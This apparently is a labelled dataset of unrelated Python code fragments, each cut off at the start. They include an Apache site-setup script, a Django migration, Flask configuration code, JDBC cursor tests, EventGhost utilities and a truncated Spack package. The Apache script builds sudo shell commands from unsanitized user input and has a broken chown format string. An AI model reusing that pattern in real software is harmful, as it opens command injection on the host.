Program start from here setup() try: loop() except KeyboardInterrupt: # When 'Ctrl+C' is pressed, the child program destroy() will be executed. destroy() ",1 " ubuntu:ubuntu /var/www mkdir -p /var/www/default/public_html mv /var/www/html/index.html /var/www/default/public_html # Ubuntu >=14.04 mv /var/www/index.html /var/www/default/public_html # Ubuntu <14.04 rm -rf /var/www/html sudo vim /etc/apache2/sites-available/000-default.conf # Ubuntu >=14.04 sudo vim /etc/apache2/sites-available/default # Ubuntu <14.04 sudo a2enmod ssl sudo service apache2 restart * Enable / disable .htaccess for a site * PHP configuration """""" environment = '' def main(env): global environment environment = env while True: print(""\nConfigure Websites\n"") print(""Please select an operation:"") print("" 1. Restart Apache"") print("" 2. Add a new website"") print("" 3. Add SSL to website"") print("" 0. Go Back"") print("" -. Exit"") operation = input(environment.prompt) if operation == '0': return True elif operation == '-': sys.exit() elif operation == '1': restart_apache() elif operation == '2': add_website() elif operation == '3': add_ssl() else: print(""Invalid input."") def restart_apache(): print(""\nAttempting to restart Apache:"") # TODO: Print an error when the user does not have permissions to perform the action. result = os.system(""sudo service apache2 restart"") print(result) return True def add_website(): global environment print('\nAdd website.\n') input_file = open('./example-files/apache-site', 'r') input_file_text = input_file.read() input_file.close() site_name = input('Website name (without www or http)' + environment.prompt) new_filename = '/etc/apache2/sites-available/%s.conf' % (site_name,) tmp_filename = '/tmp/%s.conf' % (site_name,) # TODO: Check that site_name is legal for both a domain name and a filename. while os.path.isfile(new_filename): print('Site exists! Please choose another.') site_name = input('Website name (without www or http)' + environment.prompt) new_filename = '/etc/apache2/sites-available/%s.conf' % (site_name,) tmp_filename = '/tmp/%s.conf' % (site_name,) new_config = re.sub('SITE', site_name, input_file_text) try: output_file = open(tmp_filename, 'w') output_file.write(new_config) output_file.close() tmp_move = os.system(""sudo mv %s %s"" % (tmp_filename, new_filename)) except PermissionError as e: print('\n\nError!') print('The current user does not have permission to perform this action.') #print('Please run Burton with elevated permissions to resolve this error.\n\n') if tmp_move != 0: print('\n\nError!') print('The current user does not have permission to perform this action.') #print('Please run Burton with elevated permissions to resolve this error.\n\n') current_user = str(os.getuid()) result = os.system('sudo mkdir -p /var/www/%s/public_html/' % (site_name,)) result = os.system('sudo mkdir -p /var/www/%s/logs/' % (site_name,)) result = os.system('sudo chown -R %s:%s /var/www/%s/' % (current_user, current_user,)) result = os.system('sudo a2ensite %s.conf' % (site_name,)) restart_apache() return True def add_ssl(): global environment print(""\nAdd SSL to website.\n"") print(""Please enter the URL of the website.\n"") site_name = input(environment.prompt) print(""Is this a wildcard certificate? (y/N)\n"") wildcard = input(environment.prompt) if wildcard.lower()=='y': print(""Generating wildcard cert for *.%s"" % (site_name,)) wildcard = '*.' else: print(""Generating cert for %s"" % (site_name,)) wildcard = '' # http://serverfault.com/questions/649990/non-interactive-creation-of-ssl-certificate-requests #command_template = 'openssl req -new -newkey rsa:2048 -nodes -sha256 -keyout foobar.com.key -out foobar.com.csr -subj ""/C=US/ST=New foobar/L=foobar/O=foobar foobar, Inc./CN=foobar.com/emailAddress=foobar@foobar.com""' command_template = ""openssl req -new -newkey rsa:2048 -nodes -sha256 -keyout %s.key -out %s.csr -subj \""/CN=%s%s\"""" print(command_template % (site_name, site_name, wildcard, site_name)) return True ",1 "ration): def forwards(self, orm): # Adding field 'App.created_at' db.add_column('mobile_apps_app', 'created_at', self.gf('django.db.models.fields.DateTimeField')(null=True, blank=True), keep_default=False) def backwards(self, orm): # Deleting field 'App.created_at' db.delete_column('mobile_apps_app', 'created_at') models = { 'core.level': { 'Meta': {'ordering': ""['order']"", 'object_name': 'Level'}, 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'level': ('django.db.models.fields.CharField', [], {'max_length': '45'}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '25'}), 'order': ('django.db.models.fields.IntegerField', [], {'null': 'True', 'blank': 'True'}) }, 'mobile_apps.app': { 'Meta': {'object_name': 'App'}, 'content_areas': ('django.db.models.fields.related.ManyToManyField', [], {'blank': 'True', 'related_name': ""'content_areas'"", 'null': 'True', 'symmetrical': 'False', 'to': ""orm['core.Level']""}), 'cost': ('django.db.models.fields.DecimalField', [], {'null': 'True', 'max_digits': '8', 'decimal_places': '2', 'blank': 'True'}), 'created_at': ('django.db.models.fields.DateTimeField', [], {'null': 'True', 'blank': 'True'}), 'description': ('django.db.models.fields.TextField', [], {}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'levels': ('django.db.models.fields.related.ManyToManyField', [], {'blank': 'True', 'related_name': ""'levels'"", 'null': 'True', 'symmetrical': 'False', 'to': ""orm['core.Level']""}), 'link': ('django.db.models.fields.URLField', [], {'max_length': '200'}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '200', 'null': 'True', 'blank': 'True'}), 'type': ('django.db.models.fields.related.ForeignKey', [], {'to': ""orm['mobile_apps.Type']""}) }, 'mobile_apps.type': { 'Meta': {'object_name': 'Type'}, 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '100', 'null': 'True', 'blank': 'True'}) } } complete_apps = ['mobile_apps'] ",1 "ify from flask_jwt_extended import JWTManager, jwt_required, create_access_token, get_jwt_identity from flask_socketio import SocketIO from neo4j.v1 import GraphDatabase, basic_auth from lib.crossDomain import crossdomain import simplekv.memory import eventlet #eventlet.monkey_patch() # if sys.version_info < (3, 0): # sys.stdout.write(""Sorry, requires Python 3.x, not Python 2.x\n"") # sys.exit(1) config = json.load(open('./config.json')); # Init UPLOAD_FOLDER = os.path.dirname(os.path.realpath(__file__)) + ""/uploads"" x_socketio = SocketIO() def create_app(): app = Flask(__name__) app.debug = True app.config['SECRET_KEY'] = config['auth_secret'] app.config['JWT_BLACKLIST_ENABLED'] = False app.config['JWT_BLACKLIST_STORE'] = simplekv.memory.DictStore() app.config['JWT_BLACKLIST_TOKEN_CHECKS'] = 'all' app.config['JWT_ACCESS_TOKEN_EXPIRES'] = datetime.timedelta(minutes=15) app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER driver = GraphDatabase.driver(config['database_url'], auth=basic_auth(config['database_user'],config['database_pass'])) db_session = driver.session() # start jwt service jwt = JWTManager(app) # Import blueprints from auth import auth_blueprint from banner import banner_blueprint from people import people_blueprint from organizations import organizations_blueprint from repos import repositories_blueprint from schema import schema_blueprint from data import data_blueprint from search import search_blueprint from upload import upload_blueprint from export import export_blueprint from list import list_blueprint from .sockets import sockets as socket_blueprint # register API modules app.register_blueprint(banner_blueprint) app.register_blueprint(auth_blueprint) app.register_blueprint(people_blueprint) app.register_blueprint(organizations_blueprint) app.register_blueprint(repositories_blueprint) app.register_blueprint(schema_blueprint) app.register_blueprint(search_blueprint) app.register_blueprint(data_blueprint) app.register_blueprint(upload_blueprint) app.register_blueprint(socket_blueprint) app.register_blueprint(export_blueprint) app.register_blueprint(list_blueprint) x_socketio.init_app(app) return app, jwt ",1 "rward to the config"""""" def __init__(self, name: str, get_converter: t.Optional[t.Callable] = None) -> None: self.__name__ = name self.get_converter = get_converter def __get__(self, obj: t.Any, owner: t.Any = None) -> t.Any: if obj is None: return self rv = obj.config[self.__name__] if self.get_converter is not None: rv = self.get_converter(rv) return rv def __set__(self, obj: t.Any, value: t.Any) -> None: obj.config[self.__name__] = value class Config(dict): """"""Works exactly like a dict but provides ways to fill it from files or special dictionaries. There are two common patterns to populate the config. Either you can fill the config from a config file:: app.config.from_pyfile('yourconfig.cfg') Or alternatively you can define the configuration options in the module that calls :meth:`from_object` or provide an import path to a module that should be loaded. It is also possible to tell it to use the same module and with that provide the configuration values just before the call:: DEBUG = True SECRET_KEY = 'development key' app.config.from_object(__name__) In both cases (loading from any Python file or loading from modules), only uppercase keys are added to the config. This makes it possible to use lowercase values in the config file for temporary values that are not added to the config or to define the config keys in the same file that implements the application. Probably the most interesting way to load configurations is from an environment variable pointing to a file:: app.config.from_envvar('YOURAPPLICATION_SETTINGS') In this case before launching the application you have to set this environment variable to the file you want to use. On Linux and OS X use the export statement:: export YOURAPPLICATION_SETTINGS='/path/to/config/file' On windows use `set` instead. :param root_path: path to which files are read relative from. When the config object is created by the application, this is the application's :attr:`~flask.Flask.root_path`. :param defaults: an optional dictionary of default values """""" def __init__(self, root_path: str, defaults: t.Optional[dict] = None) -> None: dict.__init__(self, defaults or {}) self.root_path = root_path def from_envvar(self, variable_name: str, silent: bool = False) -> bool: """"""Loads a configuration from an environment variable pointing to a configuration file. This is basically just a shortcut with nicer error messages for this line of code:: app.config.from_pyfile(os.environ['YOURAPPLICATION_SETTINGS']) :param variable_name: name of the environment variable :param silent: set to ``True`` if you want silent failure for missing files. :return: bool. ``True`` if able to load config, ``False`` otherwise. """""" rv = os.environ.get(variable_name) if not rv: if silent: return False raise RuntimeError( f""The environment variable {variable_name!r} is not set"" "" and as such configuration could not be loaded. Set"" "" this variable and make it point to a configuration"" "" file"" ) return self.from_pyfile(rv, silent=silent) def from_pyfile(self, filename: str, silent: bool = False) -> bool: """"""Updates the values in the config from a Python file. This function behaves as if the file was imported as module with the :meth:`from_object` function. :param filename: the filename of the config. This can either be an absolute filename or a filename relative to the root path. :param silent: set to ``True`` if you want silent failure for missing files. .. versionadded:: 0.7 `silent` parameter. """""" filename = os.path.join(self.root_path, filename) d = types.ModuleType(""config"") d.__file__ = filename try: with open(filename, mode=""rb"") as config_file: exec(compile(config_file.read(), filename, ""exec""), d.__dict__) except OSError as e: if silent and e.errno in (errno.ENOENT, errno.EISDIR, errno.ENOTDIR): return False e.strerror = f""Unable to load configuration file ({e.strerror})"" raise self.from_object(d) return True def from_object(self, obj: t.Union[object, str]) -> None: """"""Updates the values from the given object. An object can be of one of the following two types: - a string: in this case the object with that name will be imported - an actual object reference: that object is used directly Objects are usually either modules or classes. :meth:`from_object` loads only the uppercase attributes of the module/class. A ``dict`` object will not work with :meth:`from_object` because the keys of a ``dict`` are not attributes of the ``dict`` class. Example of module-based configuration:: app.config.from_object('yourapplication.default_config') from yourapplication import default_config app.config.from_object(default_config) Nothing is done to the object before loading. If the object is a class and has ``@property`` attributes, it needs to be instantiated before being passed to this method. You should not use this function to load the actual configuration but rather configuration defaults. The actual config should be loaded with :meth:`from_pyfile` and ideally from a location not within the package because the package might be installed system wide. See :ref:`config-dev-prod` for an example of class-based configuration using :meth:`from_object`. :param obj: an import name or object """""" if isinstance(obj, str): obj = import_string(obj) for key in dir(obj): if key.isupper(): self[key] = getattr(obj, key) def from_file( self, filename: str, load: t.Callable[[t.IO[t.Any]], t.Mapping], silent: bool = False, ) -> bool: """"""Update the values in the config from a file that is loaded using the ``load`` parameter. The loaded data is passed to the :meth:`from_mapping` method. .. code-block:: python import toml app.config.from_file(""config.toml"", load=toml.load) :param filename: The path to the data file. This can be an absolute path or relative to the config root path. :param load: A callable that takes a file handle and returns a mapping of loaded data from the file. :type load: ``Callable[[Reader], Mapping]`` where ``Reader`` implements a ``read`` method. :param silent: Ignore the file if it doesn't exist. .. versionadded:: 2.0 """""" filename = os.path.join(self.root_path, filename) try: with open(filename) as f: obj = load(f) except OSError as e: if silent and e.errno in (errno.ENOENT, errno.EISDIR): return False e.strerror = f""Unable to load configuration file ({e.strerror})"" raise return self.from_mapping(obj) def from_json(self, filename: str, silent: bool = False) -> bool: """"""Update the values in the config from a JSON file. The loaded data is passed to the :meth:`from_mapping` method. :param filename: The path to the JSON file. This can be an absolute path or relative to the config root path. :param silent: Ignore the file if it doesn't exist. .. deprecated:: 2.0.0 Will be removed in Flask 2.1. Use :meth:`from_file` instead. This was removed early in 2.0.0, was added back in 2.0.1. .. versionadded:: 0.11 """""" import warnings from . import json warnings.warn( ""'from_json' is deprecated and will be removed in Flask"" "" 2.1. Use 'from_file(path, json.load)' instead."", DeprecationWarning, stacklevel=2, ) return self.from_file(filename, json.load, silent=silent) def from_mapping( self, mapping: t.Optional[t.Mapping[str, t.Any]] = None, **kwargs: t.Any ) -> bool: """"""Updates the config like :meth:`update` ignoring items with non-upper keys. .. versionadded:: 0.11 """""" mappings: t.Dict[str, t.Any] = {} if mapping is not None: mappings.update(mapping) mappings.update(kwargs) for key, value in mappings.items(): if key.isupper(): self[key] = value return True def get_namespace( self, namespace: str, lowercase: bool = True, trim_namespace: bool = True ) -> t.Dict[str, t.Any]: """"""Returns a dictionary containing a subset of configuration options that match the specified namespace/prefix. Example usage:: app.config['IMAGE_STORE_TYPE'] = 'fs' app.config['IMAGE_STORE_PATH'] = '/var/app/images' app.config['IMAGE_STORE_BASE_URL'] = 'http://img.website.com' image_store_config = app.config.get_namespace('IMAGE_STORE_') The resulting dictionary `image_store_config` would look like:: { 'type': 'fs', 'path': '/var/app/images', 'base_url': 'http://img.website.com' } This is often useful when configuration options map directly to keyword arguments in functions or class constructors. :param namespace: a configuration namespace :param lowercase: a flag indicating if the keys of the resulting dictionary should be lowercase :param trim_namespace: a flag indicating if the keys of the resulting dictionary should not include the namespace .. versionadded:: 0.11 """""" rv = {} for k, v in self.items(): if not k.startswith(namespace): continue if trim_namespace: key = k[len(namespace) :] else: key = k if lowercase: key = key.lower() rv[key] = v return rv def __repr__(self) -> str: return f""<{type(self).__name__} {dict.__repr__(self)}>"" ",1 "f test_connect(gateway): url = ""jdbc:derby:memory:testdb;create=true"" conn = connect(url, gateway=gateway) cur = conn.cursor() rs = cur.execute(""select * from SYS.SYSTABLES"") assert isinstance(rs, ResultSet) def test_execute(derby): cur = derby.cursor() rs = cur.execute(""select * from SYS.SYSTABLES"") assert isinstance(rs, ResultSet) def test_execute_with_params(derby): derby.autocommit = False cur = derby.cursor() cur.execute(""create schema x_with_params"") cur.execute(""create table x_with_params.cowtest(a int, b char(1))"") # Verify table is empty. rows = cur.execute(""select * from x_with_params.cowtest as r"").fetchall() assert len(rows) == 0 # Insert one with parameter binding.. sql = ""insert into x_with_params.cowtest (a, b) values (?, ?)"" cur.execute(sql, (12, ""m"")) # Verify there's 1 row. rows = cur.execute(""select * from x_with_params.cowtest as r"").fetchall() assert len(rows) == 1 # Insert a bunch. params = list(enumerate(""thecowsaremooing"")) cur.executemany(sql, params) rows = cur.execute(""select * from x_with_params.cowtest as r"").fetchall() assert len(rows) == len(""thecowsaremooing"") + 1 derby.rollback() derby.autocommit = True def test_fetchone(derby): cur = derby.cursor() rs = cur.execute(""select * from SYS.SYSTABLES"") assert isinstance(rs.fetchone(), rs.Row) def test_fetchmany(derby): '''Assert all rows of result set have the correct class. ''' cur = derby.cursor() rs = cur.execute(""select * from SYS.SYSTABLES"") assert all({isinstance(row, rs.Row) for row in rs.fetchmany(5)}) def test_fetchManyCount(derby): derby.autocommit = False cur = derby.cursor() cur.execute(""create schema x_with_params"") cur.execute(""create table x_with_params.cowtest(a int, b char(1))"") sql = ""insert into x_with_params.cowtest (a, b) values (?, ?)"" params = list(enumerate(""thecowsaremooing"")) cur.executemany(sql, params) rs = cur.execute(""select a from x_with_params.cowtest"") ress = [] while True: x = rs.fetchmany(3) ress.append(x) if len(x) < 3: break derby.rollback() derby.autocommit = True assert sum(map(len, ress)) == len(""thecowsaremooing"") def test_fetchall(derby): '''Assert all rows of result set have the correct class. ''' cur = derby.cursor() rs = cur.execute(""select * from SYS.SYSTABLES"") assert all({isinstance(row, rs.Row) for row in rs.fetchall()}) def test_Cursor__iter__(derby): cur = derby.cursor() rs = cur.execute(""select * from SYS.SYSTABLES"") assert all({isinstance(row, rs.Row) for row in rs}) def test_Cursor__iter__(derby): cur = derby.cursor() rs = cur.execute(""select * from SYS.SYSTABLES"") # Exhaust all rows. list(rs) assert rs.fetchone() == None def test_close_and_execute(derby): cur = derby.cursor() cur.close() with pytest.raises(Error): cur.execute(""select * from SYS.SYSTABLES"") def test_close_and_fetchone(derby): cur = derby.cursor() cur.execute(""select * from SYS.SYSTABLES"") cur.close() with pytest.raises(Error): cur.fetchone() def test_close_twice(derby): cur = derby.cursor() cur.close() with pytest.raises(Error): cur.close() ",1 " free software: you can redistribute it and/or modify it under # the terms of the GNU General Public License as published by the Free # Software Foundation, either version 2 of the License, or (at your option) # any later version. # # EventGhost is distributed in the hope that it will be useful, but WITHOUT # ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or # FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for # more details. # # You should have received a copy of the GNU General Public License along # with EventGhost. If not, see . import inspect import os import sys import threading import time import wx from CommonMark import commonmark from ctypes import c_ulonglong, windll from datetime import datetime as dt, timedelta as td from docutils.core import publish_parts as ReSTPublishParts from docutils.writers.html4css1 import Writer from functools import update_wrapper from os.path import abspath, dirname, exists, join from types import ClassType # Local imports import eg __all__ = [ ""Bunch"", ""NotificationHandler"", ""LogIt"", ""LogItWithReturn"", ""TimeIt"", ""AssertInMainThread"", ""AssertInActionThread"", ""ParseString"", ""SetDefault"", ""EnsureVisible"", ""VBoxSizer"", ""HBoxSizer"", ""EqualizeWidths"", ""AsTasklet"", ""ExecFile"", ""GetTopLevelWindow"", ] USER_CLASSES = (type, ClassType) class Bunch(object): """""" Universal collection of a bunch of named stuff. Often we want to just collect a bunch of stuff together, naming each item of the bunch. A dictionary is OK for that; however, when names are constants and to be used just like variables, the dictionary-access syntax (""if bunch['squared'] > threshold"", etc) is not maximally clear. It takes very little effort to build a little class, as in this 'Bunch', that will both ease the initialisation task and provide elegant attribute-access syntax (""if bunch.squared > threshold"", etc). Usage is simple:: point = eg.Bunch(x=100, y=200) # and of course you can read/write the named # attributes you just created, add others, del # some of them, etc, etc: point.squared = point.x * point.y if point.squared > threshold: point.isok = True """""" def __init__(self, **kwargs): self.__dict__.update(kwargs) class HBoxSizer(wx.BoxSizer): #IGNORE:R0904 def __init__(self, *items): wx.BoxSizer.__init__(self, wx.HORIZONTAL) self.AddMany(items) class MyHtmlDocWriter(Writer): def apply_template(self): return """"""\ %(head_prefix)s %(head)s %(stylesheet)s %(body_prefix)s %(body_pre_docinfo)s %(docinfo)s %(body)s %(body_suffix)s """""" % self.interpolation_dict() HTML_DOC_WRITER = MyHtmlDocWriter() class NotificationHandler(object): __slots__ = [""listeners""] def __init__(self): self.listeners = [] class VBoxSizer(wx.BoxSizer): #IGNORE:R0904 def __init__(self, *items): wx.BoxSizer.__init__(self, wx.VERTICAL) self.AddMany(items) def AppUrl(description, url): if url: txt = '

    %s %s.

    ' % ( eg.text.General.supportSentence, url, eg.text.General.supportLink ) else: return description if description.startswith(""""): description = description[4:] description = DecodeMarkdown(description) elif description.startswith(""""): description = description[5:] description = DecodeReST(description) return description + txt def AssertInActionThread(func): if not eg.debugLevel: return func def AssertWrapper(*args, **kwargs): if eg.actionThread._ThreadWorker__thread != threading.currentThread(): raise AssertionError( ""Called outside ActionThread: %s() in %s"" % (func.__name__, func.__module__) ) return func(*args, **kwargs) return func(*args, **kwargs) return update_wrapper(AssertWrapper, func) def AssertInMainThread(func): if not eg.debugLevel: return func def AssertWrapper(*args, **kwargs): if eg.mainThread != threading.currentThread(): raise AssertionError( ""Called outside MainThread: %s in %s"" % (func.__name__, func.__module__) ) return func(*args, **kwargs) return update_wrapper(AssertWrapper, func) def AsTasklet(func): def Wrapper(*args, **kwargs): eg.Tasklet(func)(*args, **kwargs).run() return update_wrapper(Wrapper, func) def CollectGarbage(): import gc #gc.set_debug(gc.DEBUG_SAVEALL) #gc.set_debug(gc.DEBUG_UNCOLLECTABLE) from pprint import pprint print ""threshold:"", gc.get_threshold() print ""unreachable object count:"", gc.collect() garbageList = gc.garbage[:] for i, obj in enumerate(garbageList): print ""Object Num %d:"" % i pprint(obj) #print ""Referrers:"" #print(gc.get_referrers(o)) #print ""Referents:"" #print(gc.get_referents(o)) print ""Done."" #print ""unreachable object count:"", gc.collect() #from pprint import pprint #pprint(gc.garbage) def DecodeMarkdown(source): return commonmark(source) def DecodeReST(source): #print repr(source) res = ReSTPublishParts( source=PrepareDocstring(source), writer=HTML_DOC_WRITER, settings_overrides={""stylesheet_path"": """"} ) #print repr(res) return res['body'] def EnsureVisible(window): """""" Ensures the given wx.TopLevelWindow is visible on the screen. Moves and resizes it if necessary. """""" from eg.WinApi.Dynamic import ( sizeof, byref, GetMonitorInfo, MonitorFromWindow, GetWindowRect, MONITORINFO, RECT, MONITOR_DEFAULTTONEAREST, # MonitorFromRect, MONITOR_DEFAULTTONULL, ) hwnd = window.GetHandle() windowRect = RECT() GetWindowRect(hwnd, byref(windowRect)) #hMonitor = MonitorFromRect(byref(windowRect), MONITOR_DEFAULTTONULL) #if hMonitor: # return parent = window.GetParent() if parent: hwnd = parent.GetHandle() hMonitor = MonitorFromWindow(hwnd, MONITOR_DEFAULTTONEAREST) monInfo = MONITORINFO() monInfo.cbSize = sizeof(MONITORINFO) GetMonitorInfo(hMonitor, byref(monInfo)) displayRect = monInfo.rcWork left = windowRect.left right = windowRect.right top = windowRect.top bottom = windowRect.bottom # shift the window horizontally into the display area if left < displayRect.left: right += (displayRect.left - left) left = displayRect.left if right > displayRect.right: right = displayRect.right elif right > displayRect.right: left += (displayRect.right - right) right = displayRect.right if left < displayRect.left: left = displayRect.left # shift the window vertically into the display area if top < displayRect.top: bottom += (displayRect.top - top) top = displayRect.top if bottom > displayRect.bottom: bottom = displayRect.bottom elif bottom > displayRect.bottom: top += (displayRect.bottom - bottom) bottom = displayRect.bottom if top < displayRect.top: top = displayRect.top # set the new position and size window.SetRect((left, top, right - left, bottom - top)) def EqualizeWidths(ctrls): maxWidth = max((ctrl.GetBestSize()[0] for ctrl in ctrls)) for ctrl in ctrls: ctrl.SetMinSize((maxWidth, -1)) def ExecFile(filename, globals=None, locals=None): """""" Replacement for the Python built-in execfile() function, but handles unicode filenames right. """""" FSE = sys.getfilesystemencoding() flnm = filename.encode(FSE) if isinstance(filename, unicode) else filename return execfile(flnm, globals, locals) def GetBootTimestamp(unix_timestamp = True): """""" Returns the time of the last system boot. If unix_timestamp == True, result is a unix temestamp. Otherwise it is in human readable form. """""" now = time.time() GetTickCount64 = windll.kernel32.GetTickCount64 GetTickCount64.restype = c_ulonglong up = GetTickCount64() / 1000.0 if not unix_timestamp: st = str(dt.fromtimestamp(now - up)) return st if ""."" not in st else st[:st.index(""."")] return now - up def GetClosestLanguage(): """""" Returns the language file closest to system locale. """""" langDir = join(dirname(abspath(sys.executable)), ""languages"") if exists(langDir): locale = wx.Locale() name = locale.GetLanguageCanonicalName(locale.GetSystemLanguage()) if exists(join(langDir, name + "".py"")): return name else: for f in [f for f in os.listdir(langDir) if f.endswith("".py"")]: if f.startswith(name[0:3]): return f[0:5] return ""en_EN"" def GetFirstParagraph(text): """""" Return the first paragraph of a description string. The string can be encoded in HTML or reStructuredText. The paragraph is returned as HTML. """""" text = text.lstrip() if text.startswith(""""): text = text[4:] text = DecodeMarkdown(text) start = text.find(""

    "") end = text.find(""

    "") return text[start + 3:end].replace(""\n"", "" "") elif text.startswith(""""): text = text[5:] text = DecodeReST(text) start = text.find(""

    "") end = text.find(""

    "") return text[start + 3:end].replace(""\n"", "" "") else: result = """" for line in text.splitlines(): if line == """": break result += "" "" + line return ' '.join(result.split()) def GetFuncArgString(func, args, kwargs): classname = """" argnames = inspect.getargspec(func)[0] start = 0 if argnames: if argnames[0] == ""self"": classname = args[0].__class__.__name__ + ""."" start = 1 res = [] append = res.append for key, value in zip(argnames, args)[start:]: append(str(key) + GetMyRepresentation(value)) for key, value in kwargs.items(): append(str(key) + GetMyRepresentation(value)) fname = classname + func.__name__ return fname, ""("" + "", "".join(res) + "")"" def GetMyRepresentation(value): """""" Give a shorter representation of some wx-objects. Returns normal repr() for everything else. Also adds a ""="" sign at the beginning to make it useful as a ""formatvalue"" function for inspect.formatargvalues(). """""" typeString = repr(type(value)) if typeString.startswith("""" % typeString[len("""" % typeString[len(""= 6) def IsXP(): """""" Determine if we're running XP or higher. """""" return (sys.getwindowsversion()[0:2] >= (5, 1)) def LogIt(func): """""" Logs the function call, if eg.debugLevel is set. """""" if not eg.debugLevel: return func if func.func_code.co_flags & 0x20: raise TypeError(""Can't wrap generator function"") def LogItWrapper(*args, **kwargs): funcName, argString = GetFuncArgString(func, args, kwargs) eg.PrintDebugNotice(funcName + argString) return func(*args, **kwargs) return update_wrapper(LogItWrapper, func) def LogItWithReturn(func): """""" Logs the function call and return, if eg.debugLevel is set. """""" if not eg.debugLevel: return func def LogItWithReturnWrapper(*args, **kwargs): funcName, argString = GetFuncArgString(func, args, kwargs) eg.PrintDebugNotice(funcName + argString) result = func(*args, **kwargs) eg.PrintDebugNotice(funcName + "" => "" + repr(result)) return result return update_wrapper(LogItWithReturnWrapper, func) def ParseString(text, filterFunc=None): start = 0 chunks = [] last = len(text) - 1 while 1: pos = text.find('{', start) if pos < 0: break if pos == last: break chunks.append(text[start:pos]) if text[pos + 1] == '{': chunks.append('{') start = pos + 2 else: start = pos + 1 end = text.find('}', start) if end == -1: raise SyntaxError(""unmatched bracket"") word = text[start:end] res = None if filterFunc: res = filterFunc(word) if res is None: res = eval(word, {}, eg.globals.__dict__) chunks.append(unicode(res)) start = end + 1 chunks.append(text[start:]) return """".join(chunks) def PrepareDocstring(docstring): """""" Convert a docstring into lines of parseable reST. Return it as a list of lines usable for inserting into a docutils ViewList (used as argument of nested_parse()). An empty line is added to act as a separator between this docstring and following content. """""" lines = docstring.expandtabs().splitlines() # Find minimum indentation of any non-blank lines after first line. margin = sys.maxint for line in lines[1:]: content = len(line.lstrip()) if content: indent = len(line) - content margin = min(margin, indent) # Remove indentation. if lines: lines[0] = lines[0].lstrip() if margin < sys.maxint: for i in range(1, len(lines)): lines[i] = lines[i][margin:] # Remove any leading blank lines. while lines and not lines[0]: lines.pop(0) # make sure there is an empty line at the end if lines and lines[-1]: lines.append('') return ""\n"".join(lines) def Reset(): eg.stopExecutionFlag = True eg.programCounter = None del eg.programReturnStack[:] eg.eventThread.ClearPendingEvents() eg.actionThread.ClearPendingEvents() eg.PrintError(""Execution stopped by user"") def SetDefault(targetCls, defaultCls): targetDict = targetCls.__dict__ for defaultKey, defaultValue in defaultCls.__dict__.iteritems(): if defaultKey not in targetDict: setattr(targetCls, defaultKey, defaultValue) elif type(defaultValue) in USER_CLASSES: SetDefault(targetDict[defaultKey], defaultValue) def SplitFirstParagraph(text): """""" Split the first paragraph of a description string. The string can be encoded in HTML or reStructuredText. The paragraph is returned as HTML. """""" text = text.lstrip() if text.startswith(""""): text = text[4:] text = DecodeMarkdown(text) start = text.find(""

    "") end = text.find(""

    "") return ( text[start + 3:end].replace(""\n"", "" ""), text[end + 4:].replace(""\n"", "" "") ) elif text.startswith(""""): text = text[5:] text = DecodeReST(text) start = text.find(""

    "") end = text.find(""

    "") return ( text[start + 3:end].replace(""\n"", "" ""), text[end + 4:].replace(""\n"", "" "") ) else: result = """" remaining = """" lines = text.splitlines() for i, line in enumerate(lines): if line.strip() == """": remaining = "" "".join(lines[i:]) break result += "" "" + line return ' '.join(result.split()), remaining def TimeIt(func): """""" Decorator to measure the execution time of a function. Will print the time to the log. """""" if not eg.debugLevel: return func def TimeItWrapper(*args, **kwargs): startTime = time.clock() funcName, _ = GetFuncArgString(func, args, kwargs) res = func(*args, **kwargs) eg.PrintDebugNotice(funcName + "" :"" + repr(time.clock() - startTime)) return res return update_wrapper(TimeItWrapper, func) def UpdateStartupShortcut(create): from eg import Shortcut path = os.path.join( eg.folderPath.Startup, eg.APP_NAME + "".lnk"" ) if os.path.exists(path): os.remove(path) if create: if not os.path.exists(eg.folderPath.Startup): os.makedirs(eg.folderPath.Startup) Shortcut.Create( path=path, target=os.path.abspath(sys.executable), arguments=""-h -e OnInitAfterBoot"", startIn=os.path.dirname(os.path.abspath(sys.executable)), ) ",1 "# SPDX-License-Identifier: (Apache-2.0 OR MIT) import os from spack import * class Vasp(MakefilePackage): """""" The Vienna Ab initio Simulation Package (VASP) is a computer program for atomic scale materials modelling, e.g. electronic structure calculations and quantum-mechanical molecular dynamics, from first principles. """""" homepage = ""https://vasp.at"" url = ""file://{0}/vasp.5.4.4.pl2.tgz"".format(os.getcwd()) manual_download = True version('6.2.0', sha256='49e7ba351bd634bc5f5f67a8ef1e38e64e772857a1c02f602828898a84197e25') version('6.1.1', sha256='e37a4dfad09d3ad0410833bcd55af6b599179a085299026992c2d8e319bf6927') version('5.4.4.pl2', sha256='98f75fd75399a23d76d060a6155f4416b340a1704f256a00146f89024035bc8e') version('5.4.4', sha256='5bd2449462386f01e575f9adf629c08cb03a13142806ffb6a71309ca4431cfb3') resource(name='vaspsol', git='https://github.com/henniggroup/VASPsol.git', tag='V1.0', when='+vaspsol') variant('openmp', default=False, description='Enable openmp build') variant('scalapack', default=False, description='Enables build with SCALAPACK') variant('cuda', default=False, description='Enables running on Nvidia GPUs') variant('vaspsol', default=False, description='Enable VASPsol implicit solvation model\n' 'https://github.com/henniggroup/VASPsol') depends_on('rsync', type='build') depends_on('blas') depends_on('lapack') depends_on('fftw-api') depends_on('mpi', type=('build', 'link', 'run')) depends_on('scalapack', when='+scalapack') depends_on('cuda', when='+cuda') depends_on('qd', when='%nvhpc') conflicts('%gcc@:8', msg='GFortran before 9.x does not support all features needed to build VASP') conflicts('+vaspsol', when='+cuda', msg='+vaspsol only available for CPU') conflicts('+openmp', when='@:6.1.1', msg='openmp support started from 6.2') parallel = False def edit(self, spec, prefix): if '%gcc' in spec: if '+openmp' in spec: make_include = join_path('arch', 'makefile.include.linux_gnu_omp') else: make_include = join_path('arch', 'makefile.include.linux_gnu') elif '%nvhpc' in spec: make_include = join_path('arch', 'makefile.include.linux_pgi') filter_file('-pgc++libs', '-c++libs', make_include, string=True) filter_file('pgcc', spack_cc, make_include) filter_file('pgc++', spack_cxx, make_include, string=True) filter_file('pgfortran', spack_fc, make_include) filter_file('/opt/pgi/qd-2.3.17/install/include', 